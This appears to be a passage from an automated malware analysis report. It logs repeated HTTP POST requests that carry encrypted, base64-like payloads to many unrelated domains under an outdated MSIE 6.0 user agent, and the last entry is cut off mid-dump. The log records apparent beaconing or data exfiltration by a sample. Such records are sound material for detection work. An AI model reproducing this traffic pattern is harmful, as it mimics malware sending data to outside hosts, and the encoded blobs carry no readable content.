Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora-ito.comCache-Control: no-cacheData Raw: 58 62 42 53 7a 33 58 6c 6e 68 43 50 43 75 63 47 33 44 68 61 7a 47 36 74 51 77 38 44 66 70 77 63 65 58 6c 53 42 77 55 2b 75 50 42 6e 72 6e 36 61 4b 73 6f 37 78 69 63 33 46 72 44 6d 63 52 53 72 49 68 7a 52 43 48 77 56 54 43 48 35 39 57 41 6a 6d 65 51 57 6d 35 78 45 63 49 62 54 53 34 36 65 56 66 2f 68 50 37 73 49 57 31 32 57 79 37 45 4b 45 6e 68 56 61 78 55 70 63 30 6f 30 67 4d 7a 36 4a 51 50 76 5a 70 73 68 41 6b 72 34 5a 56 35 6b 4a 32 68 63 2f 34 47 52 72 77 77 52 30 6e 30 53 79 66 72 4d 44 6a 73 53 75 32 39 63 4c 62 6b 54 78 59 6a 32 58 47 34 65 31 67 2f 71 37 55 46 50 79 4d 56 56 37 70 6c 39 38 70 76 79 65 48 35 53 34 4e 6d 69 64 37 32 38 45 49 67 77 39 42 64 4f 7a 4d 5a 70 6b 6e 6f 44 42 45 65 34 57 4e 74 72 41 31 31 2f 47 42 66 4d 77 7a 51 50 70 6e 47 54 66 4d 2b 51 65 75 77 77 2b 72 75 46 39 51 61 6a 38 75 6f 70 34 42 44 63 4c 6f 65 66 65 77 62 37 41 79 74 56 52 43 75 43 6e 43 5a 32 48 43 74 2f 32 76 45 49 51 74 51 49 63 34 34 4a 58 39 4a 65 70 2f 6c 6b 32 4b 36 5a 35 64 4d 76 65 54 75 43 2f 43 59 76 2b 4b 4e 36 31 78 72 72 4b 51 2f 48 48 61 61 30 75 6d 47 33 76 48 6f 78 65 6d 78 66 43 45 31 2b 45 4a 75 2f 6d 30 33 55 41 34 48 66 7a 47 4c 5a 30 2f 4e 38 56 4f 30 42 58 30 66 7a 58 34 7a 37 52 2f 79 69 50 73 76 57 4f 7a 42 4c 31 7a 41 6f 79 39 37 56 49 70 2f 64 45 47 44 58 56 72 7a 30 41 7a 77 47 4a 54 69 5a 61 6e 37 52 64 72 32 74 46 4b 79 61 47 63 6f 62 4e 6e 61 55 6f 4c 51 52 7a 45 54 37 75 50 41 6c 6e 74 35 46 33 32 45 6f 33 36 35 4c 46 49 52 69 6a 2b 34 75 4e 79 59 32 6a 61 49 2f 6a 39 50 76 36 43 32 73 5a 6d 32 65 4c 6e 69 56 30 50 64 66 55 57 65 4b 4a 47 4d 50 68 73 45 76 59 70 5a 45 50 56 52 75 57 6f 50 7a 54 4d 71 55 46 6e 4f 66 71 39 46 6d 36 78 61 68 71 2b 45 3d Data Ascii: XbBSz3XlnhCPCucG3DhazG6tQw8DfpwceXlSBwU+uPBnrn6aKso7xic3FrDmcRSrIhzRCHwVTCH59WAjmeQWm5xEcIbTS46eVf/hP7sIW12Wy7EKEnhVaxUpc0o0gMz6JQPvZpshAkr4ZV5kJ2hc/4GRrwwR0n0SyfrMDjsSu29cLbkTxYj2XG4e1g/q7UFPyMVV7pl98pvyeH5S4Nmid728EIgw9BdOzMZpknoDBEe4WNtrA11/GBfMwzQPpnGTfM+Qeuww+ruF9Qaj8uop4BDcLoefewb7AytVRCuCnCZ2HCt/2vEIQtQIc44JX9Jep/lk2K6Z5dMveTuC/CYv+KN61xrrKQ/HHaa0umG3vHoxemxfCE1+EJu/m03UA4HfzGLZ0/N8VO0BX0fzX4z7R/yiPsvWOzBL1zAoy97VIp/dEGDXVrz0AzwGJTiZan7Rdr2tFKyaGcobNnaUoLQRzET7uPAlnt5F32Eo365LFIRij+4uNyY2jaI/j9Pv6C2sZm2eLniV0PdfUWeKJGMPhsEvYpZEPVRuWoPzTMqUFnOfq9Fm6xahq+E=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.abdg.comCache-Control: no-cacheData Raw: 34 54 69 76 76 46 6b 4e 41 68 48 35 6d 4b 53 6f 61 42 61 4d 4f 50 4c 32 37 69 69 33 58 65 56 78 6e 5a 55 2f 6c 7a 43 64 63 64 45 59 55 62 43 4a 4c 41 42 65 2f 79 51 39 35 6d 51 57 74 31 70 50 68 42 49 4e 67 5a 72 55 55 47 5a 72 36 6b 61 72 59 77 51 33 4e 4f 66 73 51 35 4e 4a 77 66 33 30 35 45 70 2b 51 38 35 72 64 71 52 71 31 47 6c 46 2f 32 4e 43 32 4f 33 6e 50 43 63 68 30 38 78 52 6c 44 36 76 63 2b 56 4e 31 67 4a 33 58 44 6d 56 2b 32 62 2f 62 45 2f 56 6e 51 49 30 48 58 73 78 44 2b 52 6a 43 4d 61 7a 45 57 62 2b 69 46 43 7a 7a 37 53 37 37 4f 66 6e 4e 57 75 66 2f 51 2f 4f 36 49 4b 61 32 57 54 2b 31 58 6f 61 4a 4c 56 66 6b 57 4c 59 4e 74 57 63 6d 37 36 30 46 50 4a 33 6c 61 68 31 4e 43 59 72 76 73 68 4b 49 52 43 58 74 4e 43 6b 6e 34 79 45 66 63 76 2b 59 39 42 59 6f 53 6c 31 4f 38 51 47 30 69 7a 44 4c 68 45 77 46 2b 37 66 46 2f 63 68 37 79 61 6e 49 77 38 6e 41 35 6c 53 79 5a 35 48 31 57 78 4d 4f 6a 72 4b 2f 50 4c 52 6e 41 54 2f 58 4d 64 61 43 6e 57 72 65 50 4a 73 46 56 50 64 6c 33 31 4e 58 4c 49 7a 53 4b 58 41 73 56 2f 4c 48 61 69 4e 50 6f 33 6a 51 31 68 4b 58 61 77 44 7a 62 76 6b 59 57 47 4f 48 44 76 54 42 2b 33 30 58 78 78 68 6a 38 71 75 4e 67 4d 53 76 45 77 76 57 46 56 4b 62 79 61 50 70 52 45 44 79 67 71 4b 42 4a 65 35 54 72 52 69 7a 32 31 71 76 67 49 5a 4c 38 7a 59 32 46 4e 46 7a 67 36 41 58 61 59 46 65 55 54 32 4a 67 34 56 47 44 6d 32 36 63 38 31 4e 42 66 77 49 4e 6b 76 2f 37 6c 37 39 6e 38 4b 35 4b 6e 75 37 6b 2f 34 33 4a 48 35 51 43 54 49 68 5a 37 7a 51 4d 4d 78 43 43 6e 56 2b 6d 59 4d 68 37 35 2f 6d 55 45 62 48 64 6c 51 6d 70 62 44 77 49 53 69 41 66 6e 53 31 74 76 59 68 32 4e 2f 61 61 65 4e 66 6f 41 64 46 65 55 6f 50 30 2b 4f 52 71 6d 37 55 77 3d 3d Data Ascii: 4TivvFkNAhH5mKSoaBaMOPL27ii3XeVxnZU/lzCdcdEYUbCJLABe/yQ95mQWt1pPhBINgZrUUGZr6karYwQ3NOfsQ5NJwf305Ep+Q85rdqRq1GlF/2NC2O3nPCch08xRlD6vc+VN1gJ3XDmV+2b/bE/VnQI0HXsxD+RjCMazEWb+iFCzz7S77OfnNWuf/Q/O6IKa2WT+1XoaJLVfkWLYNtWcm760FPJ3lah1NCYrvshKIRCXtNCkn4yEfcv+Y9BYoSl1O8QG0izDLhEwF+7fF/ch7yanIw8nA5lSyZ5H1WxMOjrK/PLRnAT/XMdaCnWrePJsFVPdl31NXLIzSKXAsV/LHaiNPo3jQ1hKXawDzbvkYWGOHDvTB+30Xxxhj8quNgMSvEwvWFVKbyaPpREDygqKBJe5TrRiz21qvgIZL8zY2FNFzg6AXaYFeUT2Jg4VGDm26c81NBfwINkv/7l79n8K5Knu7k/43JH5QCTIhZ7zQMMxCCnV+mYMh75/mUEbHdlQmpbDwISiAfnS1tvYh2N/aaeNfoAdFeUoP0+ORqm7Uw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.rs-ag.comCache-Control: no-cacheData Raw: 48 38 4b 67 55 53 49 43 31 52 41 42 4d 46 70 49 6c 5a 74 72 4b 36 58 4c 49 6e 61 79 34 49 37 4a 64 70 4b 65 6e 50 79 36 6c 69 4a 73 4f 2b 76 5a 59 55 41 71 58 4f 4e 45 46 4d 30 69 66 52 49 42 74 32 30 4f 72 6f 51 39 30 72 72 37 4b 61 54 7a 61 51 61 62 66 2b 50 42 67 5a 56 38 79 71 4e 6c 47 6d 4d 76 2f 34 47 4c 36 67 76 69 56 73 5a 2b 73 52 63 56 70 7a 41 44 52 6f 2f 67 45 57 49 57 41 2b 43 65 43 61 4c 79 39 34 61 6a 63 35 72 57 57 66 68 33 78 78 6c 71 72 52 35 66 48 45 61 34 74 41 71 2f 39 39 41 30 77 6c 66 43 4d 53 73 67 56 4e 57 4b 73 47 49 47 79 52 51 79 7a 78 6c 75 5a 42 32 4c 72 56 6a 32 52 69 2f 4e 73 72 52 63 6a 44 4a 6d 7a 6e 75 61 6d 58 67 6b 51 77 30 59 4e 35 6a 39 6b 61 4c 54 66 2f 37 68 57 31 47 73 52 6c 36 7a 39 48 53 59 2b 6f 64 6e 43 33 76 73 69 52 4d 79 45 4f 79 4e 71 4f 64 4a 66 74 2b 4f 55 4f 77 2b 75 42 4e 4e 30 46 35 69 4e 72 38 38 36 30 56 65 6c 72 35 5a 2f 6c 64 4c 46 75 43 4c 41 32 30 42 30 72 6b 4c 71 4e 65 4d 48 38 31 77 30 32 50 6e 70 75 54 57 66 6e 61 72 4c 54 37 37 4f 31 4e 30 47 74 68 67 77 52 46 5a 43 34 59 47 47 36 6f 48 6c 49 51 45 33 50 67 4d 7a 4a 31 5a 41 4f 6a 4d 6e 46 43 32 43 56 7a 31 4f 75 45 47 39 6d 75 70 79 45 51 74 66 50 6c 61 6f 2f 52 35 35 36 4f 75 67 69 31 64 68 64 6f 6b 49 50 5a 5a 31 4c 68 58 5a 68 33 2f 30 66 6f 62 64 43 55 36 6c 6c 4b 57 50 30 49 4a 66 75 4b 53 51 4c 30 4e 31 70 72 43 61 7a 36 65 35 50 73 52 63 52 7a 4f 47 31 63 46 6a 51 77 6d 71 51 4e 47 38 5a 44 42 4e 65 57 6c 77 36 57 54 46 38 63 4d 62 4a 67 58 4f 6d 67 4f 30 41 6d 56 6a 4d 58 72 57 2b 39 49 35 2b 44 6e 55 52 6d 36 37 78 63 68 50 51 33 37 74 63 79 7a 50 57 65 52 Data Ascii: H8KgUSIC1RABMFpIlZtrK6XLInay4I7JdpKenPy6liJsO+vZYUAqXONEFM0ifRIBt20OroQ90rr7KaTzaQabf+PBgZV8yqNlGmMv/4GL6gviVsZ+sRcVpzADRo/gEWIWA+CeCaLy94ajc5rWWfh3xxlqrR5fHEa4tAq/99A0wlfCMSsgVNWKsGIGyRQyzxluZB2LrVj2Ri/NsrRcjDJmznuamXgkQw0YN5j9kaLTf/7hW1GsRl6z9HSY+odnC3vsiRMyEOyNqOdJft+OUOw+uBNN0F5iNr8860Velr5Z/ldLFuCLA20B0rkLqNeMH81w02PnpuTWfnarLT77O1N0GthgwRFZC4YGG6oHlIQE3PgMzJ1ZAOjMnFC2CVz1OuEG9mupyEQtfPlao/R556Ougi1dhdokIPZZ1LhXZh3/0fobdCU6llKWP0IJfuKSQL0N1prCaz6e5PsRcRzOG1cFjQwmqQNG8ZDBNeWlw6WTF8cMbJgXOmgO0AmVjMXrW+9I5+DnURm67xchPQ37tcyzPWeR
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pwd.orgCache-Control: no-cacheData Raw: 6b 53 59 49 50 6e 33 55 72 6c 75 74 65 46 51 6e 4e 49 73 75 54 62 5a 5a 62 31 69 72 37 59 41 4e 41 64 33 52 4c 6f 4f 2b 6a 62 45 47 38 47 6f 6e 37 73 31 49 45 58 6a 56 42 54 35 32 6e 69 56 4f 39 41 72 68 75 78 4d 52 32 59 6b 62 4c 63 7a 58 68 65 53 4b 6b 71 54 6d 33 64 69 77 4f 61 43 54 38 6b 63 78 6e 43 79 74 65 46 7a 4a 6e 55 38 50 70 6a 70 39 46 56 6a 6d 77 4c 6e 6d 52 7a 6d 47 61 6d 63 6c 55 6a 51 78 6b 6a 4e 49 6d 43 75 6c 4e 4f 6b 72 2f 37 4c 36 55 6f 31 2b 6d 68 52 64 71 74 71 6f 66 57 47 6e 4e 30 65 39 57 6c 4e 39 4e 78 7a 46 74 58 68 63 71 30 69 55 6c 69 75 70 64 56 46 4c 39 6e 4e 66 37 69 49 4e 76 70 52 52 6b 62 6f 4a 7a 58 50 6c 4e 61 4d 46 2f 58 58 65 50 46 6c 6a 6d 6d 42 79 4b 43 51 34 7a 65 6e 50 34 7a 6d 48 6f 76 59 38 31 54 74 5a 79 79 53 70 62 42 46 77 55 32 47 34 51 41 4a 38 62 64 53 45 77 6f 73 4e 2b 78 52 79 50 78 4d 33 41 42 76 61 44 7a 67 33 50 4f 4d 62 72 50 41 32 74 59 61 61 6c 32 46 6d 32 44 74 6f 45 32 37 45 78 48 71 62 6f 70 32 36 75 59 57 48 77 47 62 64 43 31 65 79 50 4c 57 4e 50 5a 32 53 4d 44 35 45 51 70 70 6b 42 59 52 75 51 38 6f 37 79 67 33 65 6b 47 78 32 7a 72 42 6e 7a 51 46 7a 67 4c 78 36 2b 6d 4f 32 77 62 55 76 72 6c 62 61 45 69 6f 34 68 53 30 36 37 73 63 2b 46 72 4e 39 6d 68 71 66 49 31 58 34 39 6b 64 2f 39 4c 7a 78 66 7a 59 63 75 66 77 6a 33 70 50 46 72 72 32 69 44 6c 4f 65 61 62 62 2f 5a 2f 43 6f 51 7a 31 32 33 69 6c 4c 79 63 35 4d 71 52 63 4a 69 4b 30 59 58 66 39 6a 35 74 48 4c 50 68 50 74 6f 76 6a 55 57 71 31 68 6e 56 6a 2f 41 4c 4b 48 77 52 36 6b 55 75 52 5a 61 57 33 35 61 70 44 38 2f 73 45 30 51 38 39 4e 50 51 55 35 41 58 63 71 4b 2b 74 76 44 6c 45 6f 34 77 6f 4e 41 72 62 6f 77 71 53 54 4f 31 7a 51 68 35 58 6d 46 78 6d 4a 36 39 4a 66 78 71 38 6b 62 4b 37 45 64 64 72 78 50 72 34 3d Data Ascii: kSYIPn3UrluteFQnNIsuTbZZb1ir7YANAd3RLoO+jbEG8Gon7s1IEXjVBT52niVO9ArhuxMR2YkbLczXheSKkqTm3diwOaCT8kcxnCyteFzJnU8Ppjp9FVjmwLnmRzmGamclUjQxkjNImCulNOkr/7L6Uo1+mhRdqtqofWGnN0e9WlN9NxzFtXhcq0iUliupdVFL9nNf7iINvpRRkboJzXPlNaMF/XXePFljmmByKCQ4zenP4zmHovY81TtZyySpbBFwU2G4QAJ8bdSEwosN+xRyPxM3ABvaDzg3POMbrPA2tYaal2Fm2DtoE27ExHqbop26uYWHwGbdC1eyPLWNPZ2SMD5EQppkBYRuQ8o7yg3ekGx2zrBnzQFzgLx6+mO2wbUvrlbaEio4hS067sc+FrN9mhqfI1X49kd/9LzxfzYcufwj3pPFrr2iDlOeabb/Z/CoQz123ilLyc5MqRcJiK0YXf9j5tHLPhPtovjUWq1hnVj/ALKHwR6kUuRZaW35apD8/sE0Q89NPQU5AXcqK+tvDlEo4woNArbowqSTO1zQh5XmFxmJ69Jfxq8kbK7EddrxPr4=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.credo.edu.plCache-Control: no-cacheData Raw: 54 73 6d 41 6f 32 66 4a 70 52 43 56 44 6f 50 6e 46 6a 63 6f 7a 6a 41 67 71 79 6a 64 58 59 6a 54 69 2f 4e 4c 67 68 49 79 63 42 65 65 6f 6d 71 68 33 4c 50 6e 52 6d 31 49 34 2f 38 61 5a 62 6b 4d 50 4f 36 73 58 32 67 79 77 49 6d 48 72 48 39 69 59 62 79 31 31 51 36 51 32 58 46 52 52 38 4c 7a 39 5a 49 6a 76 55 47 56 4a 75 70 6c 5a 74 71 72 36 50 59 36 55 69 4c 59 68 53 77 53 37 72 78 63 58 79 55 2b 54 2f 2b 43 4e 72 6c 47 37 42 32 37 37 44 6c 35 54 6c 4d 4f 50 58 50 61 49 77 61 37 6a 58 6e 6b 52 61 6b 66 75 4d 62 55 75 39 62 68 4b 4b 34 7a 75 45 79 65 34 32 56 79 6c 35 65 4c 45 59 4e 30 30 78 48 70 35 46 2b 57 68 75 56 4a 63 38 38 38 2b 66 42 66 34 4a 46 4d 61 4c 4e 2f 4b 41 67 61 73 6c 42 5a 51 61 35 76 46 63 47 59 41 4b 77 32 42 6c 4d 33 4a 77 75 69 79 31 69 4b 5a 4f 6b 6a 42 38 51 47 37 44 77 7a 43 4a 45 37 4b 35 62 6f 38 2b 54 70 55 31 67 71 39 71 77 57 66 77 37 74 71 7a 4b 44 70 77 43 71 51 7a 5a 35 37 53 2b 42 55 73 63 62 69 6e 30 45 71 4e 47 79 62 6d 38 69 79 6b 72 62 6b 69 57 70 37 49 6f 66 67 6a 43 50 47 55 6a 51 65 63 2f 58 38 5a 5a 4a 57 6e 6b 45 68 76 6b 71 6d 44 31 68 4f 6b 42 61 2b 6a 65 67 49 42 6f 53 54 4e 78 4f 57 4b 42 4f 54 35 4a 39 49 6c 4d 6f 46 73 50 2b 63 67 6b 76 47 57 69 54 77 61 74 46 4a 52 41 59 52 36 72 66 50 54 32 2b 45 70 70 33 78 33 36 30 43 69 45 6b 77 50 77 53 46 31 78 34 65 78 6e 64 6e 4e 5a 56 68 6d 47 50 30 4f 4a 44 77 47 52 39 53 4e 6d 6b 6b 58 71 70 64 30 49 7a 69 52 62 73 61 6f 35 6c 35 6a 62 4e 30 2f 6e 75 48 66 66 50 6e 45 6e 66 64 7a 79 69 76 63 55 73 6e 75 70 57 32 37 73 6a 30 66 31 30 75 5a 6b 75 76 77 56 7a 52 46 36 53 74 61 4d 2b 4b 4f 7a 2f 57 64 4d 6a 32 56 4e 32 76 6f 6b 3d Data Ascii: TsmAo2fJpRCVDoPnFjcozjAgqyjdXYjTi/NLghIycBeeomqh3LPnRm1I4/8aZbkMPO6sX2gywImHrH9iYby11Q6Q2XFRR8Lz9ZIjvUGVJuplZtqr6PY6UiLYhSwS7rxcXyU+T/+CNrlG7B277Dl5TlMOPXPaIwa7jXnkRakfuMbUu9bhKK4zuEye42Vyl5eLEYN00xHp5F+WhuVJc888+fBf4JFMaLN/KAgaslBZQa5vFcGYAKw2BlM3Jwuiy1iKZOkjB8QG7DwzCJE7K5bo8+TpU1gq9qwWfw7tqzKDpwCqQzZ57S+BUscbin0EqNGybm8iykrbkiWp7IofgjCPGUjQec/X8ZZJWnkEhvkqmD1hOkBa+jegIBoSTNxOWKBOT5J9IlMoFsP+cgkvGWiTwatFJRAYR6rfPT2+Epp3x360CiEkwPwSF1x4exndnNZVhmGP0OJDwGR9SNmkkXqpd0IziRbsao5l5jbN0/nuHffPnEnfdzyivcUsnupW27sj0f10uZkuvwVzRF6StaM+KOz/WdMj2VN2vok=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora.ecnet.jpCache-Control: no-cacheData Raw: 45 42 43 77 4a 62 70 58 4e 78 48 58 6b 54 46 67 58 59 4e 63 75 76 33 6f 44 32 38 71 49 6e 6f 71 6a 6e 31 6b 58 47 6e 4b 43 54 47 57 66 75 49 6c 75 43 49 77 47 72 57 61 79 6b 4c 59 58 63 71 6b 2f 77 30 48 4a 37 68 41 2b 79 52 6a 44 4b 2f 67 33 2f 45 4d 4f 53 50 41 67 74 75 30 52 6d 53 39 4b 4a 62 56 32 47 68 6c 33 33 57 61 4f 36 47 75 50 42 6f 63 56 32 72 59 4b 6a 6f 70 4f 74 51 35 4c 4c 39 7a 5a 57 30 6a 50 61 73 59 2f 36 5a 2f 62 53 46 6b 45 47 74 68 56 58 42 46 7a 41 6f 77 65 5a 62 67 62 66 58 6a 48 75 68 5a 33 4c 79 59 58 4f 2b 6b 4a 52 58 52 72 6e 76 49 4a 58 77 53 2b 67 49 6a 6b 36 64 59 35 35 77 6c 73 65 62 32 51 33 6d 4e 48 56 77 47 6b 32 31 50 6b 6e 4a 72 63 76 38 6d 62 32 38 6f 6e 50 51 53 75 6e 70 30 51 77 30 51 71 75 6a 64 66 66 46 65 4a 44 4a 77 57 31 6d 52 66 53 77 62 4f 62 53 57 49 32 73 53 46 55 47 4b 4f 46 57 73 2f 54 53 6b 4b 78 65 6e 69 41 2f 70 52 55 63 57 36 33 4f 75 4d 6f 35 34 6d 4e 6e 77 50 39 33 64 69 68 4e 6c 69 33 79 76 2b 67 62 75 30 58 35 79 49 47 35 44 71 31 51 6e 55 56 4f 45 56 75 55 67 61 42 52 6e 6e 50 56 7a 59 58 7a 56 6b 37 5a 4e 30 45 64 45 44 73 61 2b 4b 77 73 71 6b 41 4a 63 61 34 4f 2f 63 75 58 6d 79 35 46 59 5a 6c 34 70 69 73 52 73 76 79 6b 69 62 37 42 4d 49 63 4b 35 2b 49 32 73 6c 6a 76 2b 4a 37 64 4c 64 36 2b 4a 65 30 38 4b 38 30 2f 73 6c 48 35 39 4d 68 53 44 36 56 65 2b 57 46 4c 4a 44 4b 4d 70 31 4f 2f 69 58 52 77 70 37 49 6f 49 50 52 47 4c 51 32 45 6f 43 48 64 4e 66 41 7a 4e 4d 4a 36 44 68 50 69 50 6a 53 4e 51 6e 6a 4d 61 62 61 4b 33 51 4e 52 36 33 57 6d 47 4c 62 77 35 69 58 2b 31 34 7a 4c 6a 6f 4c 62 6f 59 34 4f 56 73 33 47 6d 61 33 65 36 4c 65 51 53 4a 79 67 6e 6d 33 46 4f 61 62 63 70 76 4f 76 2f 49 35 72 68 76 49 52 35 69 51 4f 65 65 38 6d 34 33 2f 78 4d 70 35 74 69 78 33 4b 59 52 68 6f 59 64 38 30 3d Data Ascii: EBCwJbpXNxHXkTFgXYNcuv3oD28qInoqjn1kXGnKCTGWfuIluCIwGrWaykLYXcqk/w0HJ7hA+yRjDK/g3/EMOSPAgtu0RmS9KJbV2Ghl33WaO6GuPBocV2rYKjopOtQ5LL9zZW0jPasY/6Z/bSFkEGthVXBFzAoweZbgbfXjHuhZ3LyYXO+kJRXRrnvIJXwS+gIjk6dY55wlseb2Q3mNHVwGk21PknJrcv8mb28onPQSunp0Qw0QqujdffFeJDJwW1mRfSwbObSWI2sSFUGKOFWs/TSkKxeniA/pRUcW63OuMo54mNnwP93dihNli3yv+gbu0X5yIG5Dq1QnUVOEVuUgaBRnnPVzYXzVk7ZN0EdEDsa+KwsqkAJca4O/cuXmy5FYZl4pisRsvykib7BMIcK5+I2sljv+J7dLd6+Je08K80/slH59MhSD6Ve+WFLJDKMp1O/iXRwp7IoIPRGLQ2EoCHdNfAzNMJ6DhPiPjSNQnjMabaK3QNR63WmGLbw5iX+14zLjoLboY4OVs3Gma3e6LeQSJygnm3FOabcpvOv/I5rhvIR5iQOee8m43/xMp5tix3KYRhoYd80=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.com-sit.comCache-Control: no-cacheData Raw: 62 38 67 73 59 41 6e 68 79 46 76 4a 41 41 64 46 57 50 59 73 36 53 4c 32 77 78 67 6e 49 78 4e 70 54 55 77 51 6d 66 67 6f 33 57 42 4d 4d 76 6f 71 45 55 5a 49 32 72 52 42 4d 38 48 71 71 33 77 35 61 47 49 57 62 66 53 6f 6f 43 74 42 31 78 61 67 6c 71 42 4c 37 77 37 51 4c 58 52 2f 47 2b 37 44 6f 46 6c 66 45 66 64 6a 51 77 75 34 70 79 65 4b 48 49 76 65 6b 46 2f 34 7a 6c 61 48 4c 34 6a 7a 50 65 79 67 64 76 61 73 61 4a 49 78 76 4a 61 70 79 4b 4e 70 6b 47 6b 50 52 4b 59 39 68 53 55 61 5a 47 35 52 5a 58 31 71 5a 69 6e 6a 74 4e 33 44 6d 72 65 2f 62 30 37 71 76 56 5a 53 48 48 53 36 62 52 78 39 2b 4b 4f 35 73 49 6b 44 39 4a 58 39 71 57 72 69 69 58 6a 33 70 59 2b 67 4e 70 78 5a 6d 4a 6e 69 6b 7a 32 41 6c 50 57 6a 6f 45 54 4e 6b 57 74 58 39 51 2b 6d 77 34 39 6c 32 70 70 5a 71 36 76 2b 54 76 6b 30 4b 55 45 65 6a 5a 4c 6e 6b 52 55 7a 48 6e 5a 55 4d 4c 70 50 68 49 4e 6c 2b 6b 2b 2b 48 6d 6d 55 77 6a 71 58 32 4b 38 50 6b 6c 32 63 42 42 43 66 6f 65 46 30 77 69 56 4d 50 58 35 4d 6b 42 31 2b 68 31 56 74 47 58 47 50 39 4d 49 43 71 53 47 6c 50 43 4c 35 4a 38 56 54 58 6b 6e 38 65 2b 37 33 41 35 4f 50 51 6a 33 46 48 72 67 6e 39 47 43 4a 34 51 6b 47 75 63 47 44 32 50 66 48 2f 33 4e 77 49 62 58 73 6f 71 66 53 71 38 52 46 6c 52 5a 6c 6e 4a 6e 69 79 4d 67 37 67 7a 4e 43 43 6a 71 46 41 38 58 55 31 69 37 31 58 65 67 76 55 47 67 2b 7a 65 70 38 73 7a 6a 62 79 51 36 76 51 72 35 67 4a 74 4f 79 41 76 65 31 64 61 61 56 52 35 35 57 4c 52 45 54 41 73 79 35 4d 61 4b 6e 50 4b 49 38 34 4d 56 57 4a 45 2b 5a 76 37 4c 45 71 66 69 37 6c 56 43 70 69 2b 53 30 6d 53 64 44 72 39 76 4d 39 59 32 58 52 65 53 64 54 72 69 65 49 49 63 52 35 46 47 58 4b 48 48 31 54 74 56 78 66 64 37 77 41 34 59 66 77 4f 37 73 70 57 39 36 41 47 32 50 45 34 55 34 76 72 63 45 4c 49 45 31 7a 42 7a 6b 4e 34 44 53 77 43 64 44 6c 7a 45 3d Data Ascii: b8gsYAnhyFvJAAdFWPYs6SL2wxgnIxNpTUwQmfgo3WBMMvoqEUZI2rRBM8Hqq3w5aGIWbfSooCtB1xaglqBL7w7QLXR/G+7DoFlfEfdjQwu4pyeKHIvekF/4zlaHL4jzPeygdvasaJIxvJapyKNpkGkPRKY9hSUaZG5RZX1qZinjtN3Dmre/b07qvVZSHHS6bRx9+KO5sIkD9JX9qWriiXj3pY+gNpxZmJnikz2AlPWjoETNkWtX9Q+mw49l2ppZq6v+Tvk0KUEejZLnkRUzHnZUMLpPhINl+k++HmmUwjqX2K8Pkl2cBBCfoeF0wiVMPX5MkB1+h1VtGXGP9MICqSGlPCL5J8VTXkn8e+73A5OPQj3FHrgn9GCJ4QkGucGD2PfH/3NwIbXsoqfSq8RFlRZlnJniyMg7gzNCCjqFA8XU1i71XegvUGg+zep8szjbyQ6vQr5gJtOyAve1daaVR55WLRETAsy5MaKnPKI84MVWJE+Zv7LEqfi7lVCpi+S0mSdDr9vM9Y2XReSdTrieIIcR5FGXKHH1TtVxfd7wA4YfwO7spW96AG2PE4U4vrcELIE1zBzkN4DSwCdDlzE=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tc17.comCache-Control: no-cacheData Raw: 59 44 4b 48 62 4e 2f 30 51 52 46 6a 55 52 56 42 50 6a 77 67 54 6d 6a 32 6f 76 6d 31 57 6c 69 31 67 35 71 78 69 5a 4d 63 6d 63 31 4e 6f 38 4d 4e 2b 73 77 6e 33 63 43 64 51 2b 6f 4d 64 2b 51 6c 43 75 68 6d 2b 65 59 4a 36 4a 68 74 2f 47 41 76 2b 52 70 67 4a 74 58 72 31 47 49 69 6d 50 53 4a 64 50 70 39 32 71 4f 43 34 37 47 59 72 37 6d 59 78 42 46 4b 4f 46 50 30 42 6b 68 56 43 4e 34 73 6b 72 6e 76 59 33 50 2f 6d 6c 67 76 62 6b 57 72 51 44 56 65 62 74 6e 68 54 4c 72 55 58 63 56 63 63 34 47 56 51 52 63 4e 48 78 39 54 30 6a 34 34 50 4d 67 35 48 4f 49 46 6d 42 56 41 79 66 7a 50 56 69 4f 6b 62 50 67 42 6d 71 68 65 64 5a 42 53 51 6c 48 4d 54 39 58 56 4f 61 5a 45 6e 67 5a 66 39 66 4e 79 42 39 77 6f 35 70 4d 70 6d 7a 49 37 68 54 75 69 4a 59 69 54 4a 35 6a 41 4a 34 7a 31 6e 38 47 6b 31 76 65 73 79 35 58 67 57 64 33 4a 65 73 46 30 63 5a 70 47 6f 4e 6a 42 70 34 52 53 38 43 48 58 56 41 33 49 4f 71 4a 64 4b 51 34 59 4c 61 64 39 4f 45 30 73 4e 65 61 41 4c 54 67 46 52 6f 64 4f 58 64 46 79 66 41 36 4d 67 43 6e 75 34 66 48 32 4c 72 43 37 74 58 59 74 71 4b 71 55 50 72 51 50 6d 51 7a 37 6d 79 57 5a 50 6c 76 6a 46 53 4a 5a 46 47 44 62 56 46 48 79 59 62 39 77 64 46 51 33 2b 62 71 74 48 4a 70 72 67 53 56 35 7a 46 57 46 41 65 55 65 70 48 58 76 53 72 45 4d 46 53 71 57 59 35 42 34 71 55 32 2b 70 57 76 50 59 61 46 39 72 6a 37 77 58 45 38 76 5a 39 56 55 4c 51 78 